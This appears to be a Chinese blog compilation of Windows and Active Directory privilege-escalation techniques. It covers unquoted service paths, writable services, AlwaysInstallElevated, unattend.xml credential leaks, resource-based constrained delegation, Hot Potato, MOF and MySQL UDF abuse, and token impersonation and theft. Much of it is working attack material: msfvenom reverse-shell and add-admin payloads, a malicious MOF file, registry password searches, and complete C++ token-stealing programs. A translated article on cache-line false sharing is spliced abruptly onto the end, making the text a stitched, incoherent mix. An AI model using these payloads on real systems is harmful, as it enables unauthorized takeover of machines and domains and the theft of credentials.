先說實用度,比較被動,而且比較看臉。
Windows下服務的權限通常是SYSTEM。如果我們能夠替換服務的啟動程序為我們的惡意程序(如反彈shell),即相當于獲得了SYSTEM權限,達到了提權的目的。 無引號服務路徑有可能會導致這種情況的發生。 所謂無引號服務路徑,就是服務啟動程序的路徑中包含了空格且未被引號包含起來。比如這樣
C:\Program Files\floder1\service.exe
因為空格的存在,Windows在啟動服務找尋服務啟動項時,它會按照以下順序進行啟動項尋找
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
這就給了我們有機可乘的機會:如果我們在服務的上層目錄有寫入或完全控制權限,我們完全可以將一個可執行文件放在Windows搜尋服務啟動項的更靠前順序上。
我們用以下命令來搜索哪些服務路徑沒有包含引號
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
然后使用icacls命令查看在2345Explorer目錄的權限如何
users組是完全控制權(F),那么我們直接用msfvenom構造一個反彈shell的exe。命名為Protect.exe,放入2345Explorer目錄。我這里隨便編碼了一下
msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129
LPORT=10068 -f exe -o Protect.exe
msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129
LPORT=10068 -f exe -o Protect.exe
然后我們現在是沒有能力重啟服務的。。只能等管理員重啟服務或者機子重啟。然后就拿到SYSTEM權限了。但是這里還有一個坑點,這個坑點是如果一個服務啟動后在一定時間內未與 Service Control Manager(SCM) 通訊,就會被停止。
所以我們要在拿到shell后及時的轉移進程或者添加管理員賬戶。 轉移進程在msf中很簡單,meterpreter中先用ps查看進程,隨便找一個system權限,記住其pid,然后 migrate PID 即可完成進程遷移。
下面來說說防治方法吧。進入注冊表修改窗口,在 HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services 路徑下找到存在漏洞的服務,修改其ImagePath,把路徑前后加個引號就可了。
同樣看臉且被動
這個攻擊方法大致分兩類
1.替換服務的二進制文件。這個方法較為簡單,如果對服務二進制文件所在目錄有修改權,那么我們完全可以創建一個惡意程序來替換原有的二進制文件服務。這個比較簡單,而且基本上攻擊流程和Trusted Service Paths如出一轍,同樣也是比較被動地等待重啟服務才能彈shell,就不再演示了。
2.修改服務的屬性。如果我們能修改服務的 BINARY_PATH_NAME 屬性(這個屬性用于指向服務的二進制文件),我們就可以通過設置 BINARY_PATH_NAME 的值為系統命令,然后重啟服務時我們的系統命令會被執行。
對于后者,我們需要一款工具來快速揭示出我們能修改哪些服務的屬性。 這個工具我們采用accesschk.exe,它是微軟產出的,基本不會報毒。
我們通過該工具執行以下命令
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
or
accesschk.exe -uwcqv "Users" * /accepteula
來查看Users組(根據實際情況來填哪個組)對哪些服務有哪些權限
如果對某個服務有service_all_access或者以下權限,就說明能對其屬性進行修改。
比如我們對Spooler服務有service_all_access權限,我們就可以這樣做。
通過修改其binPath為惡意指令,然后等待管理員重啟服務,我們的惡意指令就會被執行。
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
那么所有msi(windows應用安裝程序)都會以SYSTEM權限運行。此時如果我們執行一個惡意msi程序,即可達到提權目的
同時需要注意的一點是,這個注冊表項不一定總是存在的。(比如我的實驗機
我們可以通過reg query來驗證這兩條注冊表項的情況
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
若均為1,我們就可以通過msfvenom生成惡意msi來提權
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi
然后執行,獲得一個管理員賬戶。
Unattend.xml sysprep.xml和sysprep.inf文件GPP.xml 存在著一定信息泄露,他們通常存在于以下路徑
C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\
找到后,找到 Unattend.xml 文件中的標簽。就有可能找到用戶的加密后的密碼。。
<UserAccounts>
<LocalAccounts>
<LocalAccount>
<Password>
<Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value> //PASSWORD
<PlainText>false</PlainText>
</Password>
<Description>Local Administrator</Description>
<DisplayName>Administrator</DisplayName>
<Group>Administrators</Group>
<Name>Administrator</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
一些敏感文件查詢指令
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr \*password\*
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
refer:https://xz.aliyun.com/t/7454
原理的幾個點:
1.S4U2SELF 協議可以在用戶沒有配置 TrustedToAuthenticationForDelegation 屬性(即開啟使用任何協議認證的約束性委派)時被調用,但是返回的ST是不可被轉發的。
2.基于資源的約束性委派主機 在被另一臺主機委派訪問時,在S4U2PROXY過程中提交過來的ST如果即使是不可轉發的。KDC依舊會返回有效的ST2。
3.每個普通域用戶默認可以創建至多十個機器賬戶( 由MachineAccountQuota屬性決定 ), 每個機器賬戶被創建時都會自動注冊SPN: RestrictedKrbHost/domain和HOST/domain這兩個SPN
攻擊流程:
假設開啟基于資源的約束性委派機器為A
1.首先要有一個對當前計算機有寫權限的賬戶,才能對A設置可以 被 委派訪問的服務賬戶。
2.利用當前賬戶創建一個機器賬戶,并配置好機器賬戶到A的 基于資源的約束性委派
3.因為機器賬戶是我們創建的,我們知道他的密碼賬戶,可以讓它利用S4U2SELF協議獲得一個不可轉發ST。然后用這個不可轉發ST通過S4U2PROXY,在基于資源的約束性委派基礎上獲得有效的訪問A cifs服務的ST2。
4.用ST2訪問A的CIFS服務,權限獲得。
實操
這個攻擊說白了就是個提權…
首先我們檢查一下域控是否是win2012以上的主機,因為只有這樣才能開啟 基于資源的約束性委派。
我們使用powersploit下的powerview腳本。執行命令 get-netdomaincontroller
可以獲得域控WIN版本
然后我們查看當前用戶對哪臺主機有寫權限。因為是實驗,所以我們先來看看怎么配置一個用戶對一個機器的權限。
直接在域控上找到某主機,然后進入在屬性里進入安全選項卡,添加某用戶,然后給這個用戶分配權限即可。
我們依舊使用powerview。先調用
Get-DomainUser -Identity username -Properties objectsid
來獲取當前用戶SID
然后
Get-DomainObjectAcl -Identity 主機名 | ?{$_.SecurityIdentifier -match "剛剛得到的SID"}
查看當前用戶對某臺主機是否有寫權限。
如果有 GenericAll(完全控制權),GenericWrite、WriteProperty、WriteDacl 這些屬性,就說明該用戶能修改計算機的賬戶屬性。 如圖看到我們對WIN7進行操作
好的,我們接下來就要創立一個機器用戶了。根據網上搜索結果,使用powermad這個ps腳本可以很快捷的創建一個機器用戶。https://github.com/Kevin-Robertson/Powermad
Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)
好的,我們添加了一個密碼hack,名為hacksystem的機器賬戶,接下來就是配置hacksystem到WIN7的委派了。我們需要做的,是修改WIN7的
msDS-AllowedToActOnBehalfOfOtherIdentity
屬性的值 ,這個操作我們用powerview實現。
$SD=New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"
#這兒的sid是我們創建的#機器用戶#evilsystem的sid
$SDBytes=New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
至于機器賬戶SID怎么獲得,powerview下的
get-domiancomputer hacksystem
然后使用
Get-DomainComputer WIN7 -Properties msds-allowedtoactonbehalfofotheridentity
查看委派是否設置成功
Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
此命令可以清除 msds-allowedtoactonbehalfofotheridentity屬性的值
現在都統統設置好了,開始下一步吧。
網上一般用的rubeus,這里我用kekeo吧
Rubeus.exe hash /user:xxx /password:xxx /domain:xxx
本地運算出機器用戶ntlm hash 這里借用一下別人的圖
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7
/impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt
寫入票據
然后我在本機使用以上方法后klist一下,發現確實存在票據
但是dir \test1\c$時本機莫名其妙不能進行kerberos驗證,我服了。。但不管怎樣,我們拿到銀票了
敏感用戶不可委派的繞過
若我們的administrator用戶被設置為敏感用戶不可委派或者被加入保護組,按理說他的訪問就不能進行委派。
我們在以administrator賬戶身份進行S4U時,只能進行S4U2SELF, 不能進行S4U2PROXY。我們用
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7
/impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt
繼續實驗administrator,發現確實是這樣
此時我們用 rubeus.exe describe /ticker:S4Ubase64加密的票據
可以發現servicename并沒有指定某個服務,僅僅只有一個賬戶.即發生了服務名稱缺失的問題。很簡單,把票據修改一下就行了.網上很多說用這個工具
https://shimo.im/docs/TdpXTY6H9J8jygd8/read
但實際上rubeus也能完成票據修改
rubeus.exe tgssub /ticket:xxx /altservice:cifs/test1 /ptt
完事
hot potato
熱土豆提權。很早前就聽說過了,但一直沒去了解過。前置知識是ntlm relay,可以去了解了解。potato家族有很多,hot potato只是其中一種提權方式。
我環境有問題,不能很好的復現,抓包分析啥的先咕咕吧。
https://shimo.im/docs/TdpXTY6H9J8jygd8/readHOT POTATO技術文檔,國內基本上翻譯這個來的。
提權步驟大概是這個流程
1.本地nbns服務欺騙
2.wpad劫持
3.HTTP->SMB 的 ntlm relay
4.本地nbns服務欺騙
Windows域名解析規則是
本地HOST文件-》dns查詢-》NBNS或者LLMNR查詢
一旦本地發出NBNS查詢,我們本地就可以迅速響應,啪的一下就響應了,很快啊,本地發包很快,只要發出NBNS包基本上都能被我們本地發包響應。
但是以上步驟還是有一些細節的:我們當前并非管理員權限,大幾率是無法嗅探本地流量的,如果我們能夠事先知道目標主機期望NBNS查詢獲得的主機名,我們可以偽造一個響應,對發送NBNS查詢的那個主機快速的大量發送NBNS響應 .但是nbns流量包還有個叫特征碼的東西,請求包和響應包的特征碼必須相同,所以我們被迫發送65536個包爆破這個特征碼——本地發包速度很快,本地NBNS欺騙成功率基本上在100%。
2.WPAD劫持
NBNS欺騙后我們就可以劫持WPAD的域名,把自己偽造稱WPAD并返回自定義的PAC文件。意味著我們可以把本地發出的所有流量重定向。
3.RELAY
NBNS欺騙后我們就可以劫持WPAD的域名,把自己偽造稱WPAD并返回自定義的PAC文件。意味著我們可以把本地發出的所有流量重定向。
3.RELAY
在現在這個年代,SMB->SMB的relay很少用到了,微軟 禁用了同協議的NTLM認證 ,成功率很低。 但是HTTP->SMB的relay還是有的。HOT POTATO就是利用的這一點。 我們可以把主機發出的HTTP請求重定向到我們自定義的網頁A,而網頁A需要NTLM認證,我們就可以進行HTTP->SMB的relay’了。當HTTP請求來自于高權限的賬戶時,例如是來自windows 更新服務的請求,命令就會以”NT AUTHORITY\SYSTEM”權限運行。
HOT POTATO 根據Windows版本的不同,需要等待高權限用戶NTLM認證來到的時間也不同。一般來說, WIN7是瞬間就可以提權的 Windows Server 2012 R2,Windows Server 2012,Windows 8.1,Windows 8有一個自動更新機制,會每天下載證書信任列表(CTLs) ,etc
MOF提權
在c:/windows/system32/wbem/mof/目錄下的nullevt.mof每分鐘都會有一個特定的時間去執行一次(由”And TargetInstance.Second=5″;控制,這里輸入5就是每分鐘的第五秒執行。那么把cmd命令添加到nullevt.mof中,cmd命令就會自動執行了。
前提是我們要能進入數據庫進行操作,且mysql數據庫的權限盡可能高才更有利。同時secure-file-priv 要為空( mysql 5.6.34版本以后 secure_file_priv的值默認為NULL,禁止所有文件導入導出功能)
我們偽造的MOF文件格式如下
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace="Root\\Cimv2";
Name="filtP2";
Query="Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second=5";
QueryLanguage="WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name="consPCSV2";
ScriptingEngine="JScript";
ScriptText="var WSH=new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; //修改此處即可
};
instance of __FilterToConsumerBinding
{
Consumer=$Consumer;
Filter=$EventFilter;
};
修改上面的cmd部分即可實現以管理員身份執行各種命令。
然后我們使用mysql下的命令 ,將mof覆蓋過去。
待我們的命令被執行后,即代表提權成功。
Windows 2003似乎成功率蠻高的,WIN7試了試沒反應。。。
UDF提權
(這個也可以linux提權
udf,即自定義函數(user define function)
MYSQL可以自定義函數的。自定義函數在Windows下是以DLL文件存在于MYSQL的插件文件夾里面的(linux則是以os的形式)。我們可以自定義一個惡意dll,里面存放著可以執行系統命令的 函數。然后交給mysql以數據庫權限執行。
前提:我們能操作數據庫,且數據庫權限必須很高(我們用這個方法提權到的權限就是數據庫的權限
那么這個dll文件哪里來呢。sqlmap和msf都有。sqlmap下的 sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ 就是這個dll文件的編碼版本。我們使用sqlmap下的sqlmap/extra/cloak/cloak.py對其進行解碼獲得dll文件。
python ./cloak.py -d -i ./lib_mysqludf_sys.dll_ 即可獲得dll文件
然后我們把dll文件放入mysql的插件文件夾,命名為udf.dll。插件文件夾可以通過命令
show variables like "%plugin%";獲得 (/lib/plugin文件夾需要自己創建)
至于怎么把dll放入插件文件夾
1.直接粘貼復制 (權限可能不夠
2.使用命令 select load_file(‘udf.dll’) into dumpfile “PLUGIN的路徑”;(需要secure_file_priv為空
總之,如果把udf.dll放入plugin文件夾后,我們就可以執行以下操作提權了。
create funtion sys_eval returns string soname "udf.dll";
select sys_eval('cmd');
啟動項提權
說白了,就是通過mysql的高權限,向windows開機啟動項文件夾里放入惡意vbs或者bat腳本,機器重啟后自動執行。怎么讓機器重啟?等管理員或者 一些可導致服務器藍屏的EXP
C:\Documents and Settings\All Users\「開始」菜單\程序\啟動
C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
select load_file("xxx") into dumpfile "xxxx";
沒什么好說的
提權方式為 令牌模仿。Token Impersonation .
meterpreter的getsystem的提取方法之一就是這個方法
提權過程為從administrator用戶提到SYSTEM權限。從普通用戶提權到admin及以上權限是不可取的,因為普通用戶創建的命名管道沒有 SeImpersonatePrivilege,在復制令牌時會出現1346錯誤。
該方法技術細節為:以管理員權限創建一個命名管道,再通過創建SYSTEM權限服務,讓服務連上命名管道,隨后我們通過模擬客戶端,獲得SYSTEM權限的令牌,隨后將其復制,再用復制后的令牌創建新進程(如CMD),新進程的權限即SYSTEM權限。
這里貼上實現代碼. 首先是被創建的服務的實現代碼,該服務啟動后會不斷向服務器命名管道建立鏈接 生成好后,是Service.exe
#include<Windows.h>
#include<iostream>
SERVICE_STATUS m_ServiceStatus;
SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
BOOL bRunning;
void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
void WINAPI HandlerFunc(DWORD code);
int main() {
WCHAR Servicename[]=L"ServiceA";
SERVICE_TABLE_ENTRY Table[]={ {Servicename,ServiceMain},{NULL,NULL} };
StartServiceCtrlDispatcher(Table);
}
void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) {
m_ServiceStatus.dwServiceType=SERVICE_WIN32_OWN_PROCESS;
m_ServiceStatus.dwCurrentState=SERVICE_START_PENDING;
m_ServiceStatus.dwControlsAccepted=SERVICE_ACCEPT_STOP;
m_ServiceStatus.dwWin32ExitCode=0;
m_ServiceStatus.dwServiceSpecificExitCode=0;
m_ServiceStatus.dwCheckPoint=0;
m_ServiceStatus.dwWaitHint=0;
m_ServiceStatusHandle=RegisterServiceCtrlHandler(L"ServiceA", HandlerFunc);
m_ServiceStatus.dwCurrentState=SERVICE_RUNNING;
m_ServiceStatus.dwCheckPoint=0;
m_ServiceStatus.dwWaitHint=0;
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
bRunning=true;
while (bRunning) {
LPCWSTR PipeName=L"\\\\.\\pipe\\testpipe";
HANDLE PipeHandle=NULL;
BOOL PipeInstance;
WCHAR message[512]={ 0 };
DWORD bytesWritten=0;
BOOL Flag=true;
wchar_t message2[]=L"HELL";
DWORD messageLength=lstrlen(message2) * 2;
do {
PipeHandle=CreateFile(PipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
} while (PipeHandle==INVALID_HANDLE_VALUE);
WriteFile(PipeHandle, &message2, messageLength, &bytesWritten, NULL);
Flag=ReadFile(PipeHandle, &message, 512, &bytesWritten, NULL);
std::cout << "Message:" << message << std::endl;
}
}
void WINAPI HandlerFunc(DWORD code) {
switch (code) {
case SERVICE_CONTROL_PAUSE:
m_ServiceStatus.dwCurrentState=SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
m_ServiceStatus.dwCurrentState=SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
m_ServiceStatus.dwWin32ExitCode=0;
m_ServiceStatus.dwCurrentState=SERVICE_STOPPED;
m_ServiceStatus.dwCheckPoint=0;
m_ServiceStatus.dwWaitHint=0;
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
bRunning=false;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
}
然后是主體,命名管道服務器。生成后是Server.exe
#include<Windows.h>
#include<iostream>
int main() {
LPCWSTR pipeName=L"\\\\.\\pipe\\testpipe";
LPVOID pipeBuffer=NULL;
HANDLE serverPipe;
DWORD readBytes=0;
DWORD readBuffer=0;
int err=0;
BOOL isPipeConnected;
BOOL isPipeOpen;
wchar_t message[]=L"HELL";
DWORD messageLenght=lstrlen(message) * 2;
DWORD bytesWritten=0;
WCHAR message2[512]={ 0 };
//Open a Named Pipe,Wait for a connection
std::wcout << "Creating named pipe " << pipeName << std::endl;
serverPipe=CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
//Create a service of system to connect to our NamedPipe.
char servicename[]="Service.exe";
char servicepath[_MAX_PATH];
SERVICE_STATUS status;
GetModuleFileNameA(LoadLibraryA(servicename), servicepath, sizeof(servicepath));
SC_HANDLE scManager=OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if (GetLastError()==0) {
}
else {
std::cout << "ERROR OpenSCManager:" << GetLastError() << std::endl;
}
SC_HANDLE scService=CreateServiceA(scManager, servicename, servicename,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
servicepath, NULL, NULL, NULL, NULL, NULL);
if (!scService) {
if (GetLastError()==1073) {
std::cout << "The Service has been exsisted" << std::endl;
}
else {
std::cout << "ERROR CreateServiceA:" << GetLastError() << std::endl;
}
}
SC_HANDLE scServiceA=OpenServiceA(scManager, servicename, SERVICE_ALL_ACCESS);
if (StartService(scServiceA, 0, NULL)) {
std::cout<<"service Start success"<<std::endl;
}
else {
if (GetLastError()==1056) {
std::cout << "service is running,don't need to start again" << std::endl;
}
}
//Connect !
isPipeConnected=ConnectNamedPipe(serverPipe, NULL);
if (isPipeConnected) {
std::wcout << "Incoming connection to " << pipeName << std::endl;
ReadFile(serverPipe, &message2, 512, &bytesWritten, NULL);
std::cout << message2;
}
else {
std::cout << "Does not connected Error: "<<GetLastError() << std::endl;
}
std::wcout << "Sending message: " << message << std::endl;
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
//Toekn Impersonation
std::wcout << "Impersonating the client..." << std::endl;
if (!ImpersonateNamedPipeClient(serverPipe)) {
std::cout<<"ImpersonateNamedPipeClient ERROR: "<<GetLastError()<<std::endl;
}
else {
std::cout << "ImpersonateNamedPipeClient success" << std::endl;
}
STARTUPINFOA si;
PROCESS_INFORMATION pi={};
ZeroMemory(&pi, sizeof(pi));
ZeroMemory(&si, sizeof(si));
si.cb=sizeof(si);
HANDLE token;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {
std::cout << "GetCurrentThread ERROR:" << GetLastError() << std::endl;
}
CHAR command1[]="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
WCHAR command2[]=L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
HANDLE Token;
if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenImpersonation,&Token)) {
std::cout << "DuplicateTokenEx ERROR:" << GetLastError() << std::endl;
}
else {
std::cout << "Impersonate completed" << std::endl;
}
if (!CreateProcessAsUserA(token, NULL, command1, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
std::cout << "CreateProcessAsUserA ERROR:" << GetLastError() <<" Now Use CreateProcessWithTokenW"<< std::endl;
if (!CreateProcessWithTokenW(token, LOGON_NETCREDENTIALS_ONLY, NULL, command2, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
std::cout << "CreateProcessWithTokenW ERROR:" << GetLastError() << std::endl;
}
else {
std::cout << "CreateProcessWithTokenW success" << std::endl;
}
}
else {
std::cout << "CreateProcessWithTokenW success" << std::endl;
}
while(1){}
}
我們生成了Service.exe,然后把他移到Server.exe同級目錄,以管理員權限運行Server.exe,即可達到admin-》system的提權。
程序寫了四天終于寫好了。。WIN7下可以實現完美提權。 項目地址:https://shimo.im/docs/TdpXTY6H9J8jygd8/read
令牌竊取
SYSTEM->本機上其他用戶(包括域用戶)(好家伙,只要本機有system權限,域管敢在本機上創建進程就直接能拿到域管權限) 或者admin獲取debug權限后去獲取SYSTEM權限(這里有一個細節點,只有owner為administrator的SYSTEM進程才能被利用,比如lsass,dllhost)
技術細節:通過尋找高權限開啟的進程,再復制其令牌用以創建新進程,即可達到提權目的
#include <iostream>
#include <Windows.h>
//Only administrator can get debug priv
BOOL GetDebugPriv() {
HANDLE Token;
TOKEN_PRIVILEGES tp;
LUID Luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token)) {
std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
return false;
}
tp.PrivilegeCount=1;
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) {
std::cout << "LookupPrivilegeValue ERROR" << GetLastError() << std::endl;
return false;
}
tp.Privileges[0].Luid=Luid;
if (!AdjustTokenPrivileges(Token, FALSE, &tp, sizeof(tp), NULL, NULL) ){
std::cout << "AdjustTokenPrivileges ERROR" << GetLastError() << std::endl;
return false;
}
if (GetLastError()==ERROR_NOT_ALL_ASSIGNED) {
return false;
}
else {
return true;
}
}
int main(int argc, char* argv[]) {
HANDLE t_process;
HANDLE token=NULL;
HANDLE token_bak=NULL;
DWORD process_id;
sscanf_s(argv[1], "%ul", &process_id);
WCHAR command[]=L"C:\\Windows\\System32\\cmd.exe";
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb=sizeof(STARTUPINFO);
std::cout << argv[1] << std::endl;
std::cout << "Openning process PID:" << process_id << std::endl;
if (GetDebugPriv()==TRUE) {
std::cout << "Got the debug priv" << std::endl;
}
else {
std::cout << "GetDebugPriv ERROR" << std::endl;
}
system("whoami /priv");
t_process=OpenProcess(PROCESS_ALL_ACCESS, true, process_id);
if (!t_process) {
std::cout << "OpenProcess ERROR" << GetLastError() << std::endl;
}
if (!OpenProcessToken(t_process, TOKEN_ALL_ACCESS, &token)) {
std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
}
if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &token_bak)) {
std::cout << "DuplicateTokenEx ERROR" << GetLastError() << std::endl;
}
if (!CreateProcessWithTokenW(token_bak, LOGON_WITH_PROFILE, NULL, command, 0, NULL, NULL, &startupInfo, &processInformation)) {
std::cout << "CreateProcessWithTokenW ERROR" << GetLastError() << std::endl;
}
return 0;
}
這是在win7下的測試結果 const\administrator 是域控
所謂系統編程,顧名思義,指的是有關操作系統的代碼編寫,如 Windows、Unix 系統編程。和我們常見的應用編程有所不同,系統編程更接近硬件,且它使用的函數庫和庫函數調用方法也有所不同,那么,在面對更加復雜的系統編程時,作為開發者,又有哪些較好的優化措施呢?
作者 | Paul Cavallaro
譯者 | 蘇本如,責編 | 屠敏
出品 | CSDN(ID:CSDNnews)
以下為譯文:
本篇文章中,將會概述一些常用的優化技術和“系統編程”的一些妙招。不管今天的“系統編程”意味著什么,我們將介紹一些方法,以便你的代碼運行更快、更加高效,并能讓你從你得到的任何知識中收獲更多的好處。
這篇文章里討論的所有示例可以在GitHub的這個地方獲取:paulcavallaro/systems-programming。
緩存線和偽共享
在現代對稱多處理(SMP)系統上,“偽共享”(False sharing)是一個非常容易理解的多線程代碼優化的問題。對于這個問題的討論已經相當廣泛了。一個基本的思想是機器上的物理內存不是無限粒度的,也就是說,你不能僅僅讀取一個字節。相反,當你想要讀取一個字節的內存時,處理器不僅會讀入并緩存這個字節,而且會讀入并緩存該字節周圍的數據,因為它假設這些數據也可能被使用。這個被讀取和緩存的數據單元被稱為“緩存線”,本質上它是可以訪問的最小內存塊。
截至2019年,緩存線的大小都是2 的乘方,通常介于32到256個字節之間,其中最常見的大小是64個字節。
現在,為了支持一臺機器上的多個處理器以一致的方式從同一塊內存中讀和寫,這臺機器上必須只有一個處理器可以獨占地訪問給定的緩存線。
“偽共享”是指意外地將兩個不相關的數據塊放在同一緩存行中。當有兩個處理器分別更新這兩個不同的數據塊中的數據時,比如多個計數器的值,就會產生互相干擾,因為每個處理器都試圖以獨占的方式訪問包含這兩個數據塊的緩存線。
對“偽共享”這個名稱的解釋是,盡管這兩個計數器從理論上來講不應該互相影響,但它們沒有任何好的理由地“錯誤地共享”了一個緩存線。
一種解決方案是將強行將數據寫入到分開的緩存行上,在C/C++語言中,這可以通過強制結構體/類(struct/class)成員的對齊來實現。在這個示例examples/cache-lines.cc中,我們使用abseil(注:谷歌內部使用多年的 C++ 代碼庫,現已開源)宏ABSL_CACHELINE_ALIGNED來實現這一點。
為了證明實際效果,我們針對兩個不同的結構體NormalCounters和CacheLineAwareCounters 中的std::atomic<int64> 類型的計數器做了基準測試。
// NormalCounters is straight forward naive implementation of a struct of
// counters.
// Note: We also use ABSL_CACHELINE_ALIGNED on the NormalCounters struct, but
// not its members, so that the entire struct will be aligned to a cache line.
// Otherwise the struct might be placed towards the end of a cache line,
// accidentally straddling two cache lines, thereby improving its performance.
struct ABSL_CACHELINE_ALIGNED NormalCounters {
std::atomic<int64> success{0};
std::atomic<int64> failure{0};
std::atomic<int64> okay{0};
std::atomic<int64> meh{0};
};
// CacheLineAwareCounters forces each counter onto a separate cache line to
// avoid any false sharing between the counters.
// Note: We must use ABSL_CACHELINE_ALIGNED for each member, since we want to
// pad every single counter so it will be forced onto its own separate cache
// line.
struct ABSL_CACHELINE_ALIGNED CacheLineAwareCounters {
ABSL_CACHELINE_ALIGNED std::atomic<int64> success{0};
ABSL_CACHELINE_ALIGNED std::atomic<int64> failure{0};
ABSL_CACHELINE_ALIGNED std::atomic<int64> okay{0};
ABSL_CACHELINE_ALIGNED std::atomic<int64> meh{0};
};
這個基準測試分別測試了在運行1個,2個,3個和4個線程的情況。每個線程會觸發結構體內一個單獨的原子計數器65,536次。以下是在帶有Haswell處理器的2013 MacBook Pro計算機上的處理結果:
Executing tests from //examples:cache-lines
-----------------------------------------------------------------------------
Cache Line Size: 64
sizeof(NormalCounters)=64
sizeof(CacheLineAwareCounters)=256
2019-08-13 01:16:18
Run on (4 X 2800 MHz CPU s)
CPU Caches:
L1 Data 32K (x2)
L1 Instruction 32K (x2)
L2 Unified 262K (x2)
L3 Unified 4194K (x1)
---------------------------------------------------------------------------
Benchmark Time CPU Iterations
---------------------------------------------------------------------------
BM_NormalCounters/threads:1 389 us 387 us 1812
BM_NormalCounters/threads:2 1264 us 2517 us 234
BM_NormalCounters/threads:3 1286 us 3718 us 225
BM_NormalCounters/threads:4 1073 us 3660 us 204
BM_CacheLineAwareCounters/threads:1 386 us 385 us 1799
BM_CacheLineAwareCounters/threads:2 200 us 400 us 1658
BM_CacheLineAwareCounters/threads:3 208 us 581 us 1152
BM_CacheLineAwareCounters/threads:4 193 us 721 us 1008
對上述結果作個注釋:Time代表每個線程的從開始到結束的掛鐘時間(wall clock time),而CPU則代表每個線程使用的CPU時間。
我們可以看到兩個結構體的大小是不同的,其中:sizeof(NormalCounters)=64 ,而 sizeof(CacheLineAwareCounters)=256。這是因為我們對單個字段施加了對齊約束,這樣每個成員都在自己的緩存線上。因此,它不是像往常的Int64那樣占用8個字節,而是占用一個完整的緩存線,在我的機器上是64個字節。
我們還看到對于單線程的情況,NormalCounters與CacheLineWareCounters的性能差別微乎其微。但是當我們添加更多線程時,CacheLineAwareCounters的表現要比那些易受“偽共享”錯誤影響的簡單的普通計數器的實現要好得多。
